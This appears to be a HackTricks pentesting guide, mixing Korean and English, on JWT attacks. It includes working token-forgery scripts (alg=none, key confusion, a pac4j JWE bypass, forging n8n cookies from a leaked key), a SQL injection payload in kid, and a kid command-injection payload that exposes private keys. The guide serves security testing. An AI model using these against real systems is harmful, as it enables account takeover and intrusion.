JWT Vulnerabilities (Json Web Tokens)

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기

이 글의 일부는 멋진 포스트를 기반으로 합니다: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWT를 pentest하기 위한 훌륭한 도구의 작성자 https://github.com/ticarpi/jwt_tool

Quick Wins

jwt_toolAll Tests! 모드로 실행하고 초록색 줄이 나올 때까지 기다리세요

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

운이 좋으면 도구가 웹 애플리케이션이 JWT를 잘못 확인하는 사례를 찾아낼 것입니다:

그런 다음 proxy에서 해당 request를 검색하거나 jwt_ tool을 사용해 그 request에 사용된 JWT를 dump할 수 있습니다:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.

Practical JWT assessment workflow

  • Scope the session control: 사용자별 요청(예: profile, billing)을 선택하세요. 요청이 거부될 때까지 cookies/headers를 하나씩 제거해 실제로 authorization을 막는 token이 무엇인지 분리합니다.
  • Locate JWTs in traffic: 보통 Authorization: Bearer <JWT>에 있지만, custom headers나 cookies에도 나타날 수 있습니다. Burp가 이를 강조 표시하지 않으면, Target → Site map → Engagement tools → Search에서 다음과 같은 regex 패턴을 사용하세요:
  • [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*
  • eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+
  • [= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*
  • Decode and enumerate: Burp JWT Editor 또는 python3 jwt_tool.py <JWT>를 사용해 header/payload를 읽으세요. alg, exp/token lifetime, 그리고 authn/authz를 좌우하는 claims (role, id, username, email, etc.)를 확인합니다.
  • Signature enforcement sanity check: signature 부분의 몇 바이트를 바꾸거나 삭제한 뒤 재전송하세요. 그대로 수락되면 signature validation이 빠져 있다는 뜻이며, payload claims를 직접 변조할 수 있습니다.
  • Goal: payload claims를 수정해 privileges를 상승시키는 것입니다. 아래의 모든 attack은 weak verification, weak secrets, 또는 unsafe key selection을 악용해 서버가 변조된 payload를 수락하도록 만드는 것을 목표로 합니다.

Tamper data without modifying anything

signature는 그대로 두고 data만 변조한 뒤 서버가 signature를 검사하는지 확인할 수 있습니다. 예를 들어 username을 “admin“으로 바꿔 보세요.

Is the token checked?

JWT의 signature가 검증되는지 확인하려면:

  • error message가 보인다면 검증이 진행 중일 가능성이 있습니다. verbose errors에 포함된 민감한 정보는 검토해야 합니다.
  • 반환된 page의 변경도 verification이 이루어지고 있음을 나타냅니다.
  • 변화가 없다면 verification이 없을 가능성이 있습니다. 이때 payload claims 변조를 시도해 보세요.

Origin

proxy의 request history를 확인해 token이 server-side에서 생성되었는지 client-side에서 생성되었는지 판단하는 것이 중요합니다.

  • client side에서 처음 보이는 token은 key가 client-side code에 노출되었을 가능성을 시사하며, 추가 조사가 필요합니다.
  • server-side에서 생성된 token은 안전한 process를 나타냅니다.

Duration

token이 24h보다 더 오래 지속되는지 확인하세요… 아예 만료되지 않을 수도 있습니다. “exp” 필드가 있다면 server가 이를 올바르게 처리하는지 확인하세요.

Brute-force HMAC secret

See this page.

header가 HS256을 사용한다면, token을 파일로 덤프한 뒤 offline cracking을 시도하세요:

python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule

비밀이 복구되면, Burp JWT Editor에서 이를 대칭 키로 로드한 뒤 수정된 claims를 다시 서명한다.

누출된 config + DB data에서 JWT secret 유도하기

arbitrary file read(또는 backup leak)가 application encryption materialuser records를 모두 노출하면, 평문 비밀번호를 전혀 알지 못해도 JWT signing secret을 재구성하고 session cookies를 위조할 수 있다. workflow automation stacks에서 관찰되는 예시는 다음과 같다:

  1. config file에서 app key(예: encryptionKey)를 leak한다.
  2. user table을 leak해서 email, password_hash, user_id를 얻는다.
  3. key로부터 signing secret을 유도한 다음, JWT payload에서 예상되는 per-user hash를 유도한다:
jwt_secret = sha256(encryption_key[::2]).hexdigest()              # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
  1. 서명된 token을 session cookie(예: n8n-auth)에 넣어 password hash가 salted 되어 있어도 user/admin account를 impersonate한다.

Modify the algorithm to None

사용 중인 algorithm을 “None“으로 설정하고 signature 부분을 제거한다.

Burp extension call “JSON Web Token“을 사용해 이 vulnerability를 시도하고 JWT 내부의 다양한 값을 변경한다(요청을 Repeater로 보내고 “JSON Web Token” tab에서 token의 값을 수정할 수 있다. “Alg” field의 값을 “None“으로 설정하는 것도 가능하다).

JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)

일부 stack은 signed inner JWTencrypted JWE로 감싸져 있다고 기대한다. 취약한 pac4j-jwt 버전(4.5.9, 5.7.9, 6.3.3 이전)에서는 authenticator가 JWE를 decrypt한 뒤 payload를 signed JWT로 parse하려고 하며, 그 변환이 성공할 때만 signature를 verify한다. decrypted payload가 PlainJWT(alg=none)이면 toSignedJWT()null을 반환하고 signature verification path가 skipped 된다.

  • Pre-reqs:
  • application이 JWE bearer tokens를 accepts
  • server public key가 exposed됨(보통 JWKS를 통해, 예: /.well-known/jwks.json 또는 /api/auth/jwks)
  • Authorization이 sub, role, groups, scope 같은 attacker-controlled claims에 의존함
  • Impact: public key만 사용해 어떤 user/role에 대해서도 encrypted token을 forge 가능

Practical checks:

  • RSA-OAEP-256, A128GCM/A256GCM, jwks, 또는 “inner JWT is signed“라고 적힌 comments 같은 clue를 위해 frontend / API docs를 enumerate한다.
  • JWKS를 fetch하고 n/e에서 RSA key를 import한다.
  • inner token을 base64url(header) + "." + base64url(payload) + "." 형태로 수동 구성해 signature를 empty로 만든다.
  • exposed public key를 사용해 그 plaintext JWT를 JWE로 encrypt하고 bearer token으로 replay한다.

Minimal PlainJWT construction:

header = {"alg": "none"}
claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"}
b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=")
plain = (
f"{b64(json.dumps(header, separators=(',', ':')).encode())}."
f"{b64(json.dumps(claims, separators=(',', ':')).encode())}."
)

JWKS의 RSA 공개 키로 그것을 compact JWE로 암호화하세요:

rsa_key = jwk.JWK(**jwks["keys"][0])
token = jwe.JWE(
plaintext=plain.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)

Notes:

  • If your JWT library refuses to emit alg=none, generate the compact token manually as shown above.
  • The enc value must match one accepted by the target; frontend comments and legitimate tokens often disclose this.
  • In SPAs, check whether the bearer token is stored in sessionStorage, localStorage, or a JS-accessible cookie; dropping the forged token there is often enough to validate the bypass quickly.

Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)

The algorithm HS256 uses the secret key to sign and verify each message.
The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.

Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Using Burp JWT Editor, import the RSA public key (from /.well-known/jwks.json or a PEM) and run Attack → HMAC Key Confusion Attack to automate the HS256 re-sign attempt.

헤더 안의 새 public key

공격자는 token의 header에 새 key를 삽입하고, server는 이 새 key를 사용해 signature를 verify합니다 (CVE-2018-0114).

이것은 “JSON Web Tokens” Burp extension으로 수행할 수 있습니다.
(Repeater로 request를 보내고, JSON Web Token tab 안에서 “CVE-2018-0114“를 선택한 뒤 request를 보냅니다).

JWKS Spoofing

이 지침은 JWT token의 보안을 평가하는 방법을 설명하며, 특히 “jku” header claim을 사용하는 token에 초점을 맞춥니다. 이 claim은 token 검증에 필요한 public key를 포함한 JWKS (JSON Web Key Set) file을 가리켜야 합니다.

  • “jku” Header가 있는 Token 평가:

  • “jku” claim의 URL이 적절한 JWKS file로 연결되는지 확인합니다.

  • token의 “jku” 값을 변경해 통제 가능한 web service를 가리키게 하여 traffic을 관찰할 수 있게 합니다.

  • HTTP Interaction 모니터링:

  • 지정한 URL로의 HTTP request를 관찰하면 server가 제공한 link에서 key를 가져오려 시도하고 있음을 의미합니다.

  • 이 과정을 위해 jwt_tool을 사용할 때는 테스트를 원활하게 하기 위해 jwtconf.ini file에 개인 JWKS location을 업데이트하는 것이 중요합니다.

  • jwt_tool 명령:

  • jwt_tool로 다음 command를 실행해 시나리오를 시뮬레이션합니다:

python3 jwt_tool.py JWT_HERE -X s

Kid Issues 개요

kid라고 알려진 optional header claim은 특정 key를 식별하는 데 사용되며, token signature verification을 위해 여러 key가 존재하는 환경에서 특히 중요합니다. 이 claim은 token의 signature를 verify할 적절한 key를 선택하는 데 도움을 줍니다.

“kid“를 통한 key 노출

header에 kid claim이 존재하면, 해당 file 또는 그 변형을 찾기 위해 web directory를 검색하는 것이 권장됩니다. 예를 들어 "kid":"key/12345"가 지정되어 있다면, web root에서 _/key/12345_와 /key/12345.pem 파일을 찾아보아야 합니다.

“kid“를 통한 Path Traversal

kid claim은 file system을 탐색하는 데도 악용될 수 있으며, 이를 통해 임의의 file을 선택할 가능성이 있습니다. kid 값을 변경해 특정 file이나 service를 대상으로 Connectivity를 테스트하거나 Server-Side Request Forgery (SSRF) attack을 수행하는 것이 가능합니다. 원래 signature를 유지한 채 JWT를 변조해 kid 값을 바꾸는 것은 아래와 같이 jwt_tool의 -T flag를 사용해 수행할 수 있습니다:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

예측 가능한 내용의 파일을 대상으로 하면, 유효한 JWT를 위조할 수 있습니다. 예를 들어, Linux 시스템의 /proc/sys/kernel/randomize_va_space 파일은 값 2를 포함하는 것으로 알려져 있으므로, kid 파라미터에 2를 JWT 생성용 대칭 비밀번호로 사용해 활용할 수 있습니다.

취약한 파일 시스템 key loading의 실용적인 패턴은 JWK kAA==로 설정한 HS256 key를 생성하고, kid../../../../../../../dev/null 같은 traversal로 설정한 뒤 다시 서명하는 것입니다. 일부 구현은 빈 파일을 유효한 HMAC secret으로 취급하며 위조된 token을 받아들입니다.

SQL Injection via “kid”

kid claim의 내용이 database에서 password를 가져오는 데 사용된다면, kid payload를 수정하여 SQL injection을 유발할 수 있습니다. JWT signing process를 변경하는 SQL injection을 사용하는 예시 payload는 다음과 같습니다:

non-existent-index' UNION SELECT 'ATTACKER';-- -

이 변조는 JWT signing에 알려진 secret key ATTACKER를 사용하도록 강제합니다.

OS Injection through “kid”

kid 파라미터가 command execution context 안에서 사용되는 file path를 지정하는 경우, Remote Code Execution (RCE) 취약점으로 이어질 수 있습니다. kid 파라미터에 command를 주입하면 private keys를 노출시킬 수 있습니다. RCE와 key exposure를 달성하는 예시 payload는 다음과 같습니다:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku는 JWK Set URL의 약자입니다.
token이 “jkuHeader claim을 사용한다면 제공된 URL을 확인하세요. 이는 token을 검증하는 Public Key를 보관하는 JWKS 파일이 들어 있는 URL을 가리켜야 합니다. token을 변조하여 jku 값을 트래픽을 모니터링할 수 있는 web service로 지정하세요.

먼저 새로운 private & public keys로 새로운 certificate를 만들어야 합니다

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter jku to the certificate created. In order to create a valid jku certificate you can download the original one anche change the needed parameters.

You can obtain the parametes “e” and “n” from a public certificate using:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

검증기가 key material을 원격으로 가져온다면, jku/x5uJWT Editor → Attack → Embed Collaborator payload를 사용해 Burp Collaborator URL을 삽입하세요. 콜백이 발생하면 SSRF 스타일의 key retrieval이 확인된 것입니다. 그런 다음 해당 URL에 자신의 JWKS/PEM을 호스팅하고 개인 키로 다시 서명하면, 서비스가 공격자가 만든 token을 검증하게 됩니다.

x5u

X.509 URL. PEM 형식으로 인코딩된 X.509(인증서 형식 표준) public certificates 집합을 가리키는 URI입니다. 집합의 첫 번째 certificate는 이 JWT를 서명하는 데 사용된 것이어야 합니다. 이후의 각 certificate는 이전 certificate를 서명하여 certificate chain을 완성합니다. X.509는 RFC 52807에서 정의됩니다. certificate를 전송하려면 transport security가 필요합니다.

이 header를 당신이 제어하는 URL로 바꾸고 요청이 수신되는지 확인하세요. 그런 경우 JWT를 tamper할 수 있습니다.

자신이 제어하는 certificate를 사용해 새로운 token을 forge하려면, certificate를 생성하고 public key와 private key를 추출해야 합니다:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

그런 다음 예를 들어 jwt.io를 사용해 생성한 public 및 private keys와, x5u parameter를 생성된 certificate .crt로 pointing한 새로운 JWT를 만들 수 있습니다.

이 두 취약점은 SSRFs에도 악용할 수 있습니다.

x5c

이 parameter는 base64 형식의 certificate를 포함할 수 있습니다:

공격자가 self-signed certificate를 생성하고, 대응되는 private key를 사용해 forged token을 만든 뒤, “x5c” parameter의 값을 새로 생성한 certificate로 바꾸고, 다른 parameters, 즉 n, e, x5t도 수정하면, 본질적으로 그 forged token은 server에서 accepted 됩니다.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Embedded Public Key (CVE-2018-0114)

JWT에 다음과 같은 시나리오처럼 public key가 embedded되어 있다면:

다음 nodejs script를 사용하면 그 데이터로부터 public key를 생성할 수 있습니다:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

새 private/public key를 생성하고, 새로운 public key를 token 안에 embed한 다음, 이를 사용해 새로운 signature를 생성하는 것이 가능하다:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

이 nodejs script를 사용하여 “n“과 “e“를 얻을 수 있습니다:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

마침내, public 및 private key와 새로운 “n” 및 “e” 값을 사용하면 jwt.io에서 어떤 정보든 포함한 새롭고 유효한 JWT를 위조할 수 있습니다.

ES256: 같은 nonce로 private key 공개

일부 애플리케이션이 ES256을 사용하고 두 개의 jwt를 생성할 때 같은 nonce를 사용한다면, private key를 복구할 수 있습니다.

예시는 다음과 같습니다: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)

JTI (JWT ID)

JTI (JWT ID) claim은 JWT Token의 고유 식별자를 제공합니다. 이는 token의 replay를 방지하는 데 사용할 수 있습니다.
하지만 ID의 최대 길이가 4(0001-9999)인 상황을 가정해 봅시다. request 0001과 10001은 같은 ID를 사용하게 됩니다. 따라서 backend가 각 request마다 ID를 증가시키고 있다면, 이를 악용해 replay a request 할 수 있습니다(각 성공적인 replay 사이에 10000개의 request를 보내야 함).

JWT Registered claims

JSON Web Token (JWT)

Other attacks

Cross-service Relay Attacks

일부 web application은 token의 생성과 관리를 위해 신뢰할 수 있는 JWT service에 의존하는 것으로 관찰되었습니다. JWT service가 한 client를 위해 생성한 token이 같은 JWT service의 다른 client에서 수락된 사례가 기록되어 있습니다. third-party service를 통한 JWT의 발급 또는 갱신이 관찰되면, 같은 username/email을 사용해 해당 service의 다른 client에서 account를 생성할 수 있는지 조사해야 합니다. 그런 다음 얻은 token이 target에 대한 request에서 수락되는지 확인하기 위해 replay를 시도해야 합니다.

  • token이 수락되면 치명적인 issue를 의미할 수 있으며, 이는 다른 어떤 user’s account도 spoofing할 수 있게 할 수 있습니다. 다만 third-party application에 가입하는 경우 더 넓은 범위의 testing permission이 필요할 수 있으며, 이는 법적 회색 지대에 들어갈 수 있다는 점을 주의해야 합니다.

Expiry Check of Tokens

token의 expiry는 “exp” Payload claim을 사용해 확인됩니다. JWT는 session information 없이 사용되는 경우가 많기 때문에 주의 깊은 처리가 필요합니다. 많은 경우 다른 user’s JWT를 캡처하고 replay하면 그 user를 impersonation할 수 있습니다. JWT RFC는 “exp” claim을 활용해 token의 expiry time을 설정함으로써 JWT replay attacks를 완화할 것을 권장합니다. 또한 application이 이 값을 처리하고 expired token을 거부하도록 관련 checks를 구현하는 것이 중요합니다. token에 “exp” claim이 포함되어 있고 testing time limits가 허용한다면, token을 저장한 뒤 expiry time이 지난 후 replay하는 것이 좋습니다. timestamp parsing과 expiry checking(timestamp in UTC)을 포함한 token의 내용은 jwt_tool의 -R flag로 읽을 수 있습니다.

  • application이 여전히 token을 validate한다면 security risk가 있을 수 있으며, 이는 token이 절대 만료되지 않을 수 있음을 의미할 수 있습니다.

Tools

  • jwt_tool – decoding, claim/header tampering, offline secret cracking (-C) and semi-automated attack modes (-M at).
  • Burp JWT Editor – decode/re-sign in Repeater, generate custom keys, and run built-in attacks (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
  • hashcat -m 16500 – JWT를 wordlist로 내보낸 뒤 GPU 가속 HS256 secret cracking.

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens \xc2\xb7 GitHub

References

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기